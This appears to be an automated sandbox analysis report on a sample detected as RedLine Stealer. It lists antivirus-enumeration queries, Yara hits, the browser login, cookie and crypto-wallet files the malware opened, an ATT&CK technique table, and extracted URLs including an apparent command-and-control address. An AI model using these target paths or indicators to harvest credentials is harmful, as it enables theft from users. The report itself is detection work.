Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct

Stealing of Sensitive Information

Yara detected RedLine Stealer

Source: Yara match	File source: 7.2.more.com.57300c8.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.more.com.51c00c8.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.more.com.5c100c8.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.more.com.5c100c8.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.more.com.5fd00c8.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.MSBuild.exe.9c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.more.com.57300c8.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.more.com.5fd00c8.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.more.com.51c00c8.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.1790965058.0000000005FD0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1841478757.0000000005730000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.3847190043.00000000051C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.1899584692.0000000005C10000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.1841211750.00000000009C2000.00000002.00000001.01000000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: more.com PID: 6572, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: more.com PID: 6284, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 2688, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: more.com PID: 5648, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 5188, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: more.com PID: 2664, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\yuyhf, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\kwvvjj, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\xwv, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\pvrrwvlxy, type: DROPPED

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\atomic\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Ethereum\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\	Jump to behavior

Source: Yara match	File source: 7.2.more.com.57300c8.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.more.com.51c00c8.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.more.com.5c100c8.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.more.com.5c100c8.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.more.com.5fd00c8.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.MSBuild.exe.9c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.more.com.57300c8.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.more.com.5fd00c8.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.more.com.51c00c8.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000A.00000002.3933436343.00000000061B3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1790965058.0000000005FD0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1841478757.0000000005730000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.3847190043.00000000051C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.1899584692.0000000005C10000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.1841211750.00000000009C2000.00000002.00000001.01000000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: more.com PID: 6572, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: more.com PID: 6284, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 2688, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: more.com PID: 5648, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 5188, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: more.com PID: 2664, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\yuyhf, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\kwvvjj, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\xwv, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\pvrrwvlxy, type: DROPPED

Remote Access Functionality

Yara detected RedLine Stealer

Source: Yara match	File source: 7.2.more.com.57300c8.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.more.com.51c00c8.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.more.com.5c100c8.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.more.com.5c100c8.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.more.com.5fd00c8.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.MSBuild.exe.9c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.more.com.57300c8.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.more.com.5fd00c8.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.more.com.51c00c8.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.1790965058.0000000005FD0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1841478757.0000000005730000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.3847190043.00000000051C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.1899584692.0000000005C10000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.1841211750.00000000009C2000.00000002.00000001.01000000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: more.com PID: 6572, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: more.com PID: 6284, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 2688, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: more.com PID: 5648, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 5188, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: more.com PID: 2664, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\yuyhf, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\kwvvjj, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\xwv, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\pvrrwvlxy, type: DROPPED

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	221 Windows Management Instrumentation	1 Scheduled Task/Job	212 Process Injection	21 Masquerading	1 OS Credential Dumping	321 Security Software Discovery	Remote Services	11 Archive Collected Data	22 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Scheduled Task/Job	11 DLL Side-Loading	1 Scheduled Task/Job	1 Disable or Modify Tools	LSASS Memory	12 Process Discovery	Remote Desktop Protocol	2 Data from Local System	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 Abuse Elevation Control Mechanism	241 Virtualization/Sandbox Evasion	Security Account Manager	241 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	11 DLL Side-Loading	212 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	1 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	2 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Abuse Elevation Control Mechanism	Cached Domain Credentials	223 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	3 Obfuscated Files or Information	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Software Packing	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	11 DLL Side-Loading	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38.exe	11%	ReversingLabs

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\kwvvjj	100%	Avira	HEUR/AGEN.1307453
C:\Users\user\AppData\Local\Temp\pvrrwvlxy	100%	Avira	HEUR/AGEN.1307453
C:\Users\user\AppData\Local\Temp\kwvvjj	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\pvrrwvlxy	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe
https://pastebin.com/raw/Ld9GfkdJ	0%	Avira URL Cloud	safe
https://pay.cloudtips.ru/p/96db8bb7https://donationalerts.com/r/donutsoft	0%	Avira URL Cloud	safe
https://donutsoft.orghttps://t.me/donutsoftdonutsoftorg	0%	Avira URL Cloud	safe
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	0%	Avira URL Cloud	safe
http://schemas.datacontract.org/2004/07/	0%	Avira URL Cloud	safe
https://donutsoft.org/	0%	Avira URL Cloud	safe
https://yoomoney.ru/to/410015205849375https://qiwi.com/n/DONUTSOFT	0%	Avira URL Cloud	safe
http://213.109.202.97:	0%	Avira URL Cloud	safe
https://t.me/donutsoft	0%	Avira URL Cloud	safe
https://duckduckgo.com/chrome_newtabS	0%	Avira URL Cloud	safe
http://213.109.202.97:9000	0%	Avira URL Cloud	safe
http://213.109.202.97:9000/wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE	0%	Avira URL Cloud	safe
http://purl.oen	0%	Avira URL Cloud	safe
https://donutsoft.org/nusrHtwtb_file.tmpdonutsoftRy%02dp.%02dv.%02dm.%03dr.%s.%s.iddo%s%d%s%s%d%s%sr	0%	Avira URL Cloud	safe
https://pastebin.com/raw/Ld9GfkdJPOr6	0%	Avira URL Cloud	safe
https://donutsoft.orghttps://t.me/donutsoftSubjectHello	0%	Avira URL Cloud	safe
https://paypal.me/donutsofthttps://patreon.com/donutsofthttps://ko-fi.com/donutsofthttps://buymeacof	0%	Avira URL Cloud	safe
http://213.109.202.97:9000/	0%	Avira URL Cloud	safe
https://qiwi.com/...	0%	Avira URL Cloud	safe
http://www.info-zip.org/	0%	Avira URL Cloud	safe
https://donutsoft.org	0%	Avira URL Cloud	safe

Name	Malicious	Antivirus Detection	Reputation
http://213.109.202.97:9000/wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://pastebin.com/raw/Ld9GfkdJ	MSBuild.exe, 00000019.00000002.3848723015.0000000002881000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/chrome_newtab	MSBuild.exe, 0000000A.00000002.3925960520.0000000003D78000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000A.00000002.3913689241.0000000002FF5000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://donutsoft.orghttps://t.me/donutsoftdonutsoftorg	1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38.exe	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/ac/?q=	MSBuild.exe, 0000000A.00000002.3913689241.0000000002FB4000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000A.00000002.3925960520.0000000003D78000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000A.00000002.3913689241.0000000003054000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000A.00000002.3913689241.0000000002FF5000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	MSBuild.exe, 0000000A.00000002.3913689241.0000000002FB4000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000A.00000002.3925960520.0000000003D78000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000A.00000002.3913689241.0000000003054000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000A.00000002.3913689241.0000000002FF5000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.datacontract.org/2004/07/	MSBuild.exe, 0000000A.00000002.3913689241.0000000002BB1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://donutsoft.org/	1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38.exe	false	Avira URL Cloud: safe	unknown
https://pay.cloudtips.ru/p/96db8bb7https://donationalerts.com/r/donutsoft	1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38.exe	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	MSBuild.exe, 0000000A.00000002.3913689241.0000000002FB4000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000A.00000002.3925960520.0000000003D78000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000A.00000002.3913689241.0000000003054000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000A.00000002.3913689241.0000000002FF5000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://213.109.202.97:	MSBuild.exe, 0000000A.00000002.3913689241.0000000002CC8000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://yoomoney.ru/to/410015205849375https://qiwi.com/n/DONUTSOFT	1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38.exe	false	Avira URL Cloud: safe	unknown
